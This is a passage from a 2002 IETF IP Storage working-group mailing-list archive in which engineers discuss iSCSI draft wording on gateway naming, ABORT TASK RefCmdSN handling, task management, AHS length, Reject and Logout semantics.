(8.11.0/8.10.2) id g7TEjkl15803 for ips-outgoing; Thu, 29 Aug 2002 10:45:46 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from erie.mcdata.com (mcjekyll.mcdata.com [144.49.6.25]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7TEjho15798 for ; Thu, 29 Aug 2002 10:45:43 -0400 (EDT) Received: by erie.mcdata.com with Internet Mail Service (5.5.2653.19) id ; Thu, 29 Aug 2002 08:45:49 -0600 Message-ID: <8C4B1DAFE17AE14AABFB2F866B64AB39022B9C@nyexu01.mcdata.com> From: Robert Grant To: ips@ece.cmu.edu Subject: RE: IPS-All: WG Last Call on "iSCSI Naming and Discovery" Date: Thu, 29 Aug 2002 08:45:42 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) content-class: urn:content-classes:message Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Hello, One aspect of the Naming and Discovery draft that I find misleading lies in the sentence in Section B.3 "The gateway may manufacture its own iSCSI Names, or use those provided by the real devices." Now B.3 deals with non-iSCSI devices, so does the phrase "those provided by the real devices" refer to non-iSCSI devices providing an iSCSI Name? I read "those provided by the real devices" as the native identifiers (i.e. FC WWN). This may lead to the conclusion that a Gateway can use the "eui." form of the iSCSI name in a fairly straight-forward manner. Unfortunately, we know is not true (at least for the case where multiple gateways can see the same device on a SAN). So - I suggest a caveat is warranted, like "It is the responsibility of the gateway to ensure the uniqueness of any iSCSI name it manufactures. The gateway may need to account for multiple gateways having access to a single real device". Now - of course I would REALLY like to see something done at the naming level that would allow gateway vendors to preserve some part of the identity of the real device in a non-proprietary fashion. But at least alerting readers to the problem would be a good step. Regards, Rob. From owner-ips@ece.cmu.edu Thu Aug 29 11:22:38 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA26649 for ; Thu, 29 Aug 2002 11:22:38 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7TEpgJ16213 for ips-outgoing; Thu, 29 Aug 2002 10:51:42 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7TEpdo16198 for ; Thu, 29 Aug 2002 10:51:39 -0400 (EDT) Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e35.co.us.ibm.com (8.12.2/8.12.2) with ESMTP id g7TEpWBZ036974; Thu, 29 Aug 2002 10:51:32 -0400 Received: from d03nmar1.almaden.ibm.com (d03nmar1.almaden.ibm.com [9.1.20.239]) by westrelay04.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g7TEq17c035738; Thu, 29 Aug 2002 08:52:01 -0600 Importance: Normal To: Robert Grant Cc: ips@ece.cmu.edu Subject: RE: IPS-All: WG Last Call on "iSCSI Naming and Discovery" X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: Jim Hafner Date: Thu, 29 Aug 2002 07:52:02 -0700 X-MIMETrack: Serialize by Router on D03NMAR1/03/M/IBM(Build V60_M14_08012002 Release Candidate|August 01, 2002) at 08/29/2002 07:52:21, Serialize complete at 08/29/2002 07:52:21 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="=_alternative 0051828088256C24_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 0051828088256C24_= Content-Type: text/plain; charset="us-ascii" Rob, I think this is a reasonable and acceptable change. Thanks. Jim Hafner Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: RE: IPS-All: WG Last Call on "iSCSI Naming and Discovery" Hello, One aspect of the Naming and Discovery draft that I find misleading lies in the sentence in Section B.3 "The gateway may manufacture its own iSCSI Names, or use those provided by the real devices." Now B.3 deals with non-iSCSI devices, so does the phrase "those provided by the real devices" refer to non-iSCSI devices providing an iSCSI Name? I read "those provided by the real devices" as the native identifiers (i.e. FC WWN). This may lead to the conclusion that a Gateway can use the "eui." form of the iSCSI name in a fairly straight-forward manner. Unfortunately, we know is not true (at least for the case where multiple gateways can see the same device on a SAN). So - I suggest a caveat is warranted, like "It is the responsibility of the gateway to ensure the uniqueness of any iSCSI name it manufactures. The gateway may need to account for multiple gateways having access to a single real device". Now - of course I would REALLY like to see something done at the naming level that would allow gateway vendors to preserve some part of the identity of the real device in a non-proprietary fashion. But at least alerting readers to the problem would be a good step. Regards, Rob. --=_alternative 0051828088256C24_= Content-Type: text/html; charset="us-ascii"
Rob,

I think this is a reasonable and acceptable change.  Thanks.

Jim Hafner

Sent by:        owner-ips@ece.cmu.edu

To:        ips@ece.cmu.edu
cc:        
Subject:        RE: IPS-All:  WG Last Call on "iSCSI Naming and Discovery"



Hello,
One aspect of the Naming and Discovery draft that I find misleading lies in
the sentence in Section B.3
"The gateway may manufacture its own  iSCSI Names, or use those provided by
the real devices."
Now B.3 deals with non-iSCSI devices, so does the phrase "those provided by
the real devices" refer to non-iSCSI devices providing an iSCSI Name? I read
"those provided by the real devices" as the native identifiers (i.e. FC
WWN). This may lead to the conclusion that a Gateway can use the "eui." form
of the iSCSI name in a fairly straight-forward manner. Unfortunately, we
know is not true (at least for the case where multiple gateways can see the
same device on a SAN). So - I suggest a caveat is warranted, like
"It is the responsibility of the gateway to ensure the uniqueness of any
iSCSI name it manufactures. The gateway may need to account for multiple
gateways having access to a single real device".
Now - of course I would REALLY like to see something done at the naming
level that would allow gateway vendors to preserve some part of the identity
of the real device in a non-proprietary fashion. But at least alerting
readers to the problem would be a good step.
Regards,
Rob.

--=_alternative 0051828088256C24_=-- From owner-ips@ece.cmu.edu Fri Aug 30 02:57:28 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA05378 for ; Fri, 30 Aug 2002 02:57:27 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7U6AxK13198 for ips-outgoing; Fri, 30 Aug 2002 02:10:59 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7U6Avo13194 for ; Fri, 30 Aug 2002 02:10:58 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate.de.ibm.com (8.12.3/8.12.3) with ESMTP id g7U6AkeB013580 for ; Fri, 30 Aug 2002 08:10:46 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7U6Ajba018790 for ; Fri, 30 Aug 2002 08:10:46 +0200 To: ips@ece.cmu.edu Importance: High MIME-Version: 1.0 Subject: iSCSI- draft 16 ready to ship X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Fri, 30 Aug 2002 09:10:42 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 30/08/2002 09:10:45, Serialize complete at 30/08/2002 09:10:45 Content-Type: multipart/alternative; boundary="=_alternative 0020EFDFC2256C25_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 0020EFDFC2256C25_= Content-Type: text/plain; charset="us-ascii" Dear colleagues, iSCSI draft 16 is ready to ship. The working version is on my site. The only change that I intend to make before shipping is removing the change log. Any (minor) editorial comments are welcome. Regards, Julo --=_alternative 0020EFDFC2256C25_= Content-Type: text/html; charset="us-ascii"
Dear colleagues,


iSCSI draft 16 is ready to ship.
The working version is on my site.
The only change that I intend to make before shipping is removing the change log.

Any (minor) editorial comments are welcome.

Regards,
Julo
--=_alternative 0020EFDFC2256C25_=-- From owner-ips@ece.cmu.edu Fri Aug 30 09:36:54 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA16517 for ; Fri, 30 Aug 2002 09:36:53 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7UD33b11699 for ips-outgoing; Fri, 30 Aug 2002 09:03:03 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from cybernetics.com (host02.cybernetics.com [206.246.200.18] (may be forged)) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7UD30o11694 for ; Fri, 30 Aug 2002 09:03:00 -0400 (EDT) Received: from condor ([137.157.1.224]) by cyborg.cybernetics.com with SMTP id <119041>; Fri, 30 Aug 2002 09:02:46 -0400 Reply-To: From: "Tony Battersby" To: Subject: iSCSI ABORT TASK RefCmdSN question Date: Fri, 30 Aug 2002 09:02:46 -0400 Message-ID: <000701c25025$8a2a1160$e0019d89@cybernetics.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit (Sorry if this message is a duplicate. I sent it once before but I don't think it got through.) Suppose an iSCSI target receives an ABORT TASK Task Management Function that does not refer to a valid task (i.e. the Referenced Task Tag does not match any task at the target) but the CmdSN is inside the valid window and matches a non-immediate command that has not yet been delivered for execution. For example, Target's ExpCmdSN is 10. Target has a queued non-immediate command with CmdSN 11 and Initiator Task Tag of 55 which has not been delivered for execution because the target is waiting for a non-immediate command with CmdSN 10 first. Target receives an immediate ABORT TASK Task Management Function with Referenced Task Tag of 66 and RefCmdSN of 11. The relevent portion of the spec is in Section 9.6.1: "b) if the Referenced Task Tag does not identify an existing task but if the CmdSN indicated by the RefCmdSN field in the Task Management function request is within the valid CmdSN window (between MaxCmdSN and ExpCmdSN), targets must consider the CmdSN received and return the "Function complete" response." It seems to me that the intention of the phrase "targets must consider the CmdSN received" is to force the target to discard the command with CmdSN == RefCmdSN if the target receives it later, which would effectively abort the command before it is received. In my example, the command with CmdSN == RefCmdSN is already received, but it is not aborted since the Referenced Task Tag does not match the Initiator Task Tag. According to the above text, the target is still supposed to return the "Function complete" response. Wouldn't it be better to return "Task does not exist" instead, or maybe some other error? Anthony J. Battersby Cybernetics From owner-ips@ece.cmu.edu Fri Aug 30 09:38:52 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA16664 for ; Fri, 30 Aug 2002 09:38:52 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7UD22R11631 for ips-outgoing; Fri, 30 Aug 2002 09:02:02 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from cybernetics.com (host02.cybernetics.com [206.246.200.18] (may be forged)) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7UD20o11625 for ; Fri, 30 Aug 2002 09:02:00 -0400 (EDT) Received: from condor ([137.157.1.224]) by cyborg.cybernetics.com with SMTP id <119041>; Fri, 30 Aug 2002 09:01:46 -0400 Reply-To: From: "Tony Battersby" To: Subject: Several iSCSI protocol questions Date: Fri, 30 Aug 2002 09:01:49 -0400 Message-ID: <000601c25025$67e247d0$e0019d89@cybernetics.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Hi, I have a few general iSCSI protocol questions. All questions are based on Draft 15. (Sorry if this message is a duplicate. I sent it once before but I don't think it got through.) --- Initiator Task Tag uniqueness --- Section 2.1, "A SCSI task is a SCSI command or possibly a linked set of SCSI commands." Section 2.2.2.1, "Some iSCSI tasks are SCSI tasks, and many SCSI activities are related to a SCSI task ([SAM2]). In all cases, the task is identified by the Initiator Task Tag for the life of the task." Does the above imply that the initiator must (or can?) use the same Initiator Task Tag for all SCSI commands in a given linked set of SCSI commands? If so, then a given Initiator Task Tag may not uniquely identify a particular SCSI command. In this case, if the target receives an unsolicited data PDU, it would have to rely on the requirement that unsolicited data PDUs must be sent in the same order as the commands were sent in order to identify the SCSI command associated with the unsolicited data PDU. My question: what is to prevent the target from associating an unsolicited data PDU with the wrong command if the target discarded one of the linked command PDUs in the task due to a digest error? --- Task Management Functions --- Section 9.5.1, "For all these functions, the Task Management function response MUST be returned as detailed in Section 9.6 Task Management Function Response." Does this mean that a Task Management Function with one of the listed functions cannot be rejected with a Reject PDU if some other field of the PDU has a value that is a protocol error? If I read the spec correctly, the ABORT TASK, ABORT TASK SET, CLEAR TASK SET, and LOGICAL UNIT RESET functions operate on iSCSI tasks that: 1) Have a CmdSN that is lower than the CmdSN of the Task Management Function, AND 2) Have a valid LUN that is equal to the LUN of the Task Management Function Since the Task Management Function itself has a CmdSN and valid LUN, can one Task Management Function affect (abort) another? If not, then what is the appropriate Task Management Function Response for an ABORT TASK that attempts to operate on another Task Management Function? --- AHS --- Section 9.2.1.5 TotalAHSLength: "Total length of all AHS header segments in four byte words including padding, if any. The TotalAHSLength is used only in PDUs that have an AHS and MUST be 0 in all other PDUs." For the first sentence, I recommend changing the wording to emphasize the fact that the length is not in bytes (something like "... segments in units of four byte words ..." with an example given). I missed this fact the first time I read it. The second sentence is confusing since it is not spelled out which PDUs have an AHS. Is this sentence specifying a requirement that some pre-defined list of PDUs that do not have an AHS MUST have TotalAHSLength equal to 0, or is the sentence simply stating that a nonzero TotalAHSLength implies that an AHS is present? In the former case, the list of PDUs not allowed to have an AHS can be determined by looking elsewhere in the spec (Task Management Function Request, Task Management Function Response, R2T, Logout Request, Logout Response). Next question: if an AHS is present in a PDU allowing it, but the target does not know what to do with it, should the target reject the PDU or ignore the AHS? I noticed that some older drafts had a bit that indicated which to do, but the bit was dropped in more recent drafts. If the target should reject the PDU, what Reject reason should be used? --- Reject --- If a target decides to reject a non-immediate command when it can determine the CmdSN of the command being rejected, should the target return the reject response immediately, or should the target defer the reject response until the command being rejected would have been delivered for execution based on its CmdSN? If the CmdSN of the command being rejected is outside the valid command window, should the target ignore the PDU and not return the Reject response, or should the target return the Reject response anyway? My guess is that any of these options are valid, but I want to make sure. In any case, it seems that the initiator needs to be prepared to receive multiple Reject PDUs from the target for a single command if the initiator re-transmitted the command due to a timeout before receiving (or noticing) the reject. --- Logout --- Section 9.14, "A Logout for a CID may be performed on a different transport connection when the TCP connection for the CID has already been terminated." Was this intended to imply that a Logout for a CID MUST be performed on the same transport connection when the TCP connection for the CID has _not_ already been terminated? Thanks, Anthony J. Battersby Cybernetics From owner-ips@ece.cmu.edu Fri Aug 30 10:42:40 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA19448 for ; Fri, 30 Aug 2002 10:42:40 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7UE5YB15392 for ips-outgoing; Fri, 30 Aug 2002 10:05:34 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic2.corp.emc.com (mxic2.us.dg.com [128.221.31.40]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7UE5Xo15388 for ; Fri, 30 Aug 2002 10:05:33 -0400 (EDT) Received: by mxic2.corp.emc.com with Internet Mail Service (5.5.2653.19) id ; Fri, 30 Aug 2002 10:05:16 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71E0564C240@CORPMX14> From: Black_David@emc.com To: tonyb@cybernetics.com, ips@ece.cmu.edu Subject: RE: Several iSCSI protocol questions Date: Fri, 30 Aug 2002 10:05:14 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Tony, > Section 2.1, "A SCSI task is a SCSI command or possibly a > linked set of SCSI commands." > > Section 2.2.2.1, "Some iSCSI tasks are SCSI tasks, and many SCSI activities > are related to a SCSI task ([SAM2]). In all cases, the task is identified by > the Initiator Task Tag for the life of the task." > > Does the above imply that the initiator must (or can?) use the same > Initiator Task Tag for all SCSI commands in a given linked set of SCSI > commands? If so, then a given Initiator Task Tag may not > uniquely identify a particular SCSI command. Yes, but the inference is incorrect. SAM-2 defines "linked command" as: 3.1.58 linked command: One in a series of SCSI commands processed by a single task that collectively make up a discrete I/O operation. In such a series, each command is represented by the same I_T_L_x nexus, and all, except the last, have the LINK bit in the CDB CONTROL byte set to one. Linked commands are always sequential, not concurrent, as they use the same I_T_L_x nexus - see the example in Section 5.7.2 of SAM-2. Only one command from a set of linked commands is active at any point in time, and hence the ITT for the linked commands uniquely identifies it. Linked commands are rarely used in practice, FWIW. > --- Task Management Functions --- > > Section 9.5.1, "For all these functions, the Task Management function > response MUST be returned as detailed in Section 9.6 Task Management > Function Response." Does this mean that a Task Management Function with > one of the listed functions cannot be rejected with a Reject PDU > if some other field of the PDU has a value that is a protocol error? It shouldn't - if there's a protocol error, the Task Management function cannot be processed. > If I read the spec correctly, the ABORT TASK, ABORT TASK SET, CLEAR TASK > SET, and LOGICAL UNIT RESET functions operate on iSCSI tasks that: > > 1) Have a CmdSN that is lower than the CmdSN of the Task Management > Function, AND > 2) Have a valid LUN that is equal to the LUN of the Task > Management Function > > Since the Task Management Function itself has a CmdSN and > valid LUN, can one > Task Management Function affect (abort) another? No, SCSI task management functions operate on *SCSI* tasks, not *iSCSI* tasks, and a task management function is not a *SCSI* task - see SAM-2. > If not, then what is the > appropriate Task Management Function Response for an ABORT TASK that > attempts to operate on another Task Management Function? That can't happen. The only task management function that could possibly attempt "to operate on another Task Management Function" is ABORT TASK, but it identifies the task to be aborted by an Initiator Task Tag, something that Task Management Functions *do not* have - see Section 9.5 of the iSCSI draft. Beyond this, task management functions generally succeed when the task set is empty. In particular, ABORT TASK succeeds when the task to be aborted is not in the task set - see Section 6.2 of SAM-2. > --- AHS --- > > Section 9.2.1.5 TotalAHSLength: > > "Total length of all AHS header segments in four byte words including > padding, if any. > > The TotalAHSLength is used only in PDUs that have an AHS and > MUST be 0 in all other PDUs." > > For the first sentence, I recommend changing the wording to > emphasize the fact that the length is not in bytes (something like "... > segments in unitsof four byte words ..." with an example given). I missed > this fact the first time I read it. > > The second sentence is confusing since it is not spelled out > which PDUs have an AHS. Is this sentence specifying a requirement > that some pre-defined list of PDUs that do not have an AHS MUST have > TotalAHSLength equal to 0, or is the sentence simply stating that a > nonzero TotalAHSLength implies that an AHS is present? In the former > case, the list of PDUs not allowed to have an AHS can be determined > by looking elsewhere in the spec (Task Management > Function Request, Task Management Function Response, R2T, > Logout Request, Logout Response). The former - whether an AHS is present is specified with each PDU definition. > Next question: if an AHS is present in a PDU allowing it, but > the target does not know what to do with it, should the target reject > the PDU or ignore the AHS? Such a target is broken (if an AHS is allowed, the target has to expect that it might be present and be prepared to do whatever is necessary), and should be fixed. > --- Reject --- > > If a target decides to reject a non-immediate command when it > can determine > the CmdSN of the command being rejected, should the target > return the reject > response immediately, or should the target defer the reject > response until > the command being rejected would have been delivered for > execution based on > its CmdSN? Returning the Reject earlier will probably be appreciated by the initiator. There's no requirement to wait. > If the CmdSN of the command being rejected is > outside the valid > command window, should the target ignore the PDU and not > return the Reject > response, or should the target return the Reject response > anyway? Ignore it. Section 2.2.2.1 says: For non-immediate commands, the CmdSN field can take any value from ExpCmdSN to MaxCmdSN inclusive. The target MUST silently ignore any non-immediate command outside of this range or non-immediate dupli- cates within the range. "silently" is the key word in this text. > --- Logout --- > > Section 9.14, "A Logout for a CID may be performed on a > different transport > connection when the TCP connection for the CID has already > been terminated." > Was this intended to imply that a Logout for a CID MUST be > performed on the > same transport connection when the TCP connection for the CID > has _not_ > already been terminated? Not exactly. The problem is that one can get into weird situations in which the two ends of a TCP connection have different views on whether it's been terminated. If the TCP connection is alive, Logout for that connection should be sent on that connection. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 249-6449 FAX: +1 (508) 497-8018 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Fri Aug 30 10:48:41 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA19733 for ; Fri, 30 Aug 2002 10:48:40 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7UEG5O16080 for ips-outgoing; Fri, 30 Aug 2002 10:16:05 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from maho3msx2.isus.emc.com (maho3msx2.isus.emc.com [128.221.11.32]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7UEG2o16076 for ; Fri, 30 Aug 2002 10:16:02 -0400 (EDT) Received: by maho3msx2.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Fri, 30 Aug 2002 10:15:57 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71E0564C241@CORPMX14> From: Black_David@emc.com To: tonyb@cybernetics.com, ips@ece.cmu.edu Subject: RE: iSCSI ABORT TASK RefCmdSN question Date: Fri, 30 Aug 2002 10:15:55 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk > Suppose an iSCSI target receives an ABORT TASK Task Management Function that > does not refer to a valid task (i.e. the Referenced Task Tag does not match > any task at the target) but the CmdSN is inside the valid window and matches > a non-immediate command that has not yet been delivered for execution. For > example, > > Target's ExpCmdSN is 10. > Target has a queued non-immediate command with CmdSN 11 and > Initiator Task Tag of 55 which has not been delivered for execution > because the target is waiting for a non-immediate command with CmdSN 10 > first. Target receives an immediate ABORT TASK Task Management Function > with Referenced Task Tag of 66 and RefCmdSN of 11. This is an error. The initiator has violated the following MUST: 9.5.5 RefCmdSN For the ABORT TASK function, initiators MUST always set this to the CmdSN of the task identified by the Referenced Task Tag field. Tar- gets must use this field as described in section 9.6.1 when the task identified by the Referenced Task Tag field is not with the target. A Reject PDU with Reason 0x09 will do nicely to tell the Initiator that it screwed up. Processing an erroneous task management function request by trying to infer what the initiator might have intended is not a good idea. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 249-6449 FAX: +1 (508) 497-8018 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Fri Aug 30 11:25:31 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA21324 for ; Fri, 30 Aug 2002 11:25:30 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7UEwbu19457 for ips-outgoing; Fri, 30 Aug 2002 10:58:37 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic2.corp.emc.com (mxic2.us.dg.com [128.221.31.40]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7UEwao19452 for ; Fri, 30 Aug 2002 10:58:36 -0400 (EDT) Received: by mxic2.corp.emc.com with Internet Mail Service (5.5.2653.19) id ; Fri, 30 Aug 2002 10:58:30 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71E0564C243@CORPMX14> From: Black_David@emc.com To: tonyb@cybernetics.com, ips@ece.cmu.edu Subject: RE: Several iSCSI protocol questions Date: Fri, 30 Aug 2002 10:58:28 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk > > > Since the Task Management Function itself has a CmdSN and > > > valid LUN, can one > > > Task Management Function affect (abort) another? > > > > No, SCSI task management functions operate on *SCSI* tasks, not *iSCSI* > > tasks, and a task management function is not a *SCSI* task - see SAM-2. > > This contradicts the text in Section 9.5.1: "The Task Management functions > provide an initiator with a way to explicitly control the execution of one > or more Tasks (SCSI and iSCSI tasks)." Your interpretation makes more sense > to me, however. And there's more text further down in 9.5.1 that seems to imply that one ought to be able to abort a Task Management Function. All these functions apply to the referenced tasks regard- less of whether they are proper SCSI tasks or tagged iSCSI opera- tions. I think you've caught something we need to fix ... > > > If not, then what is the > > > appropriate Task Management Function Response for an ABORT TASK that > > > attempts to operate on another Task Management Function? > > > > That can't happen. The only task management function that could possibly > > attempt "to operate on another Task Management Function" is ABORT TASK, but > > it identifies the task to be aborted by an Initiator Task Tag, something > > that Task Management Functions *do not* have - see Section > > 9.5 of the iSCSI draft. > > I am looking at Section 9.5. I see "Initiator Task Tag" in the table > showing the PDU format, although it is not mentioned in the > text. Another typo? My mistake - I think we have some text cleanup to do, as SAM-2 definitely considers task management functions not to be tasks, thus avoiding issues of what happens when a task management function is applied to a task management function - I believe iSCSI needs to follow this route. Julian? Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 249-6449 FAX: +1 (508) 497-8018 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Fri Aug 30 11:27:25 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA21444 for ; Fri, 30 Aug 2002 11:27:25 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7UEYhK17526 for ips-outgoing; Fri, 30 Aug 2002 10:34:43 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from cybernetics.com (host02.cybernetics.com [206.246.200.18] (may be forged)) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7UEYeo17521 for ; Fri, 30 Aug 2002 10:34:40 -0400 (EDT) Received: from condor ([137.157.1.224]) by cyborg.cybernetics.com with SMTP id <119048>; Fri, 30 Aug 2002 10:34:31 -0400 Reply-To: From: "Tony Battersby" To: , Subject: RE: Several iSCSI protocol questions Date: Fri, 30 Aug 2002 10:34:33 -0400 Message-ID: <000801c25032$5c38ac00$e0019d89@cybernetics.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: <277DD60FB639D511AC0400B0D068B71E0564C240@CORPMX14> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit > -----Original Message----- > From: Black_David@emc.com [mailto:Black_David@emc.com] > Sent: Friday, August 30, 2002 10:05 AM > To: tonyb@cybernetics.com; ips@ece.cmu.edu > Subject: RE: Several iSCSI protocol questions > > Does the above imply that the initiator must (or can?) use the same > > Initiator Task Tag for all SCSI commands in a given linked > set of SCSI > > commands? If so, then a given Initiator Task Tag may not > > uniquely identify a particular SCSI command. > > Yes, but the inference is incorrect. SAM-2 defines "linked > command" as: > > 3.1.58 linked command: One in a series of SCSI commands > processed by a > single task that collectively make up a discrete I/O > operation. In such > a series, each command is represented by the same I_T_L_x > nexus, and all, > except the last, have the LINK bit in the CDB CONTROL byte > set to one. > > Linked commands are always sequential, not concurrent, as > they use the same > I_T_L_x nexus - see the example in Section 5.7.2 of SAM-2. > Only one command > from a set of linked commands is active at any point in time, > and hence the > ITT for the linked commands uniquely identifies it. Linked > commands are > rarely used in practice, FWIW. > Thanks. I realized this after I sent the message. > > --- Task Management Functions --- > > > > Section 9.5.1, "For all these functions, the Task > Management function > > response MUST be returned as detailed in Section 9.6 Task Management > > Function Response." Does this mean that a Task Management > Function with > > one of the listed functions cannot be rejected with a Reject PDU > > if some other field of the PDU has a value that is a protocol error? > > It shouldn't - if there's a protocol error, the Task > Management function > cannot be processed. Ok. > > Since the Task Management Function itself has a CmdSN and > > valid LUN, can one > > Task Management Function affect (abort) another? > > No, SCSI task management functions operate on *SCSI* tasks, > not *iSCSI* > tasks, and a task management function is not a *SCSI* task - > see SAM-2. This contradicts the text in Section 9.5.1: "The Task Management functions provide an initiator with a way to explicitly control the execution of one or more Tasks (SCSI and iSCSI tasks)." Your interpretation makes more sense to me, however. > > If not, then what is the > > appropriate Task Management Function Response for an ABORT TASK that > > attempts to operate on another Task Management Function? > > That can't happen. The only task management function that > could possibly > attempt "to operate on another Task Management Function" is > ABORT TASK, but > it identifies the task to be aborted by an Initiator Task > Tag, something > that Task Management Functions *do not* have - see Section > 9.5 of the 